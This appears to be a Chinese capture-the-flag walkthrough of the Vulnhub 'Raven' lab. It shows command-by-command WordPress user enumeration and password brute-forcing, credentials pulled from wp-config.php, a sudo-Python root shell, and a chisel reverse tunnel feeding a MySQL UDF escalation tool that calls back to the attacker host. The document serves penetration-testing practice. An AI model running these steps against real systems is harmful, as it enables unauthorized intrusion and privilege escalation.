[Vulnhub] Raven WordPress+SUDO-Python权限提升+MSQP自动化Mysql权限提升

信息收集

IP AddressOpening Ports
192.168.101.159TCP:

$ nmap -p- 192.168.101.159 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Raven Security
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37755/udp6  status
|   100024  1          46017/tcp6  status
|   100024  1          52049/udp   status
|_  100024  1          60004/tcp   status
60004/tcp open  status  1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

本地权限

http://192.168.101.159/

image.png

$ dirb http://192.168.101.159

image-1.png

image-2.png

# echo '192.168.101.159 raven.local'>>/etc/hosts

image-3.png

$ wpscan --url http://raven.local/wordpress --enumerate u

usernames:michael,steven

image-4.png

$ wpscan --url http://raven.local/wordpress --usernames michael,steven --passwords /usr/share/wordlists/rockyou.txt

image-5.png

Username: steven, Password: pink84

$ ssh steven@192.168.101.159

image-6.png

Flag 1

$ cat /var/www/html/service.html

image-11.png

flag1{b9bbcb33e11b80be759c4e844862482d}

Flag 2

$ cat /var/www/flag2.txt

image-9.png

flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

Flag 3

$ cat /var/www/html/wordpress/wp-config.php

image-12.png

username:root
password:R@v3nSecurity

$ mysql -uroot -p
mysql> use wordpress
mysql> select * from wp_posts\G;

image-13.png

flag3{afc01ab56b50591e7dccf93122770cd2}

权限提升

SUDO

$ sudo -l

image-7.png

$ sudo /usr/bin/python -c 'import pty;pty.spawn("/bin/bash")'

image-8.png

MYSQL:UDF:MSQP

利用MSQP检测权限提升

$ git clone https://github.com/MartinxMax/MSQP.git

$ python3 -m pip install mysql-connector-python

$ cd MSQP

首先kali开放服务端:

$ ./chisel server -p 8000 --reverse

image-14.png

启动客户端:

(target)$ ./chisel client 192.168.101.128:8000 R:localhost:3306

image-15.png

$ python3 msqp.py 127.0.0.1 3306 root R@v3nSecurity 192.168.101.128 100

image-16.png

Flag4

root@Raven:~# cat /root/flag4.txt

image-10.png

flag4{715dea6c055b9fe3337544932f2941ce}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值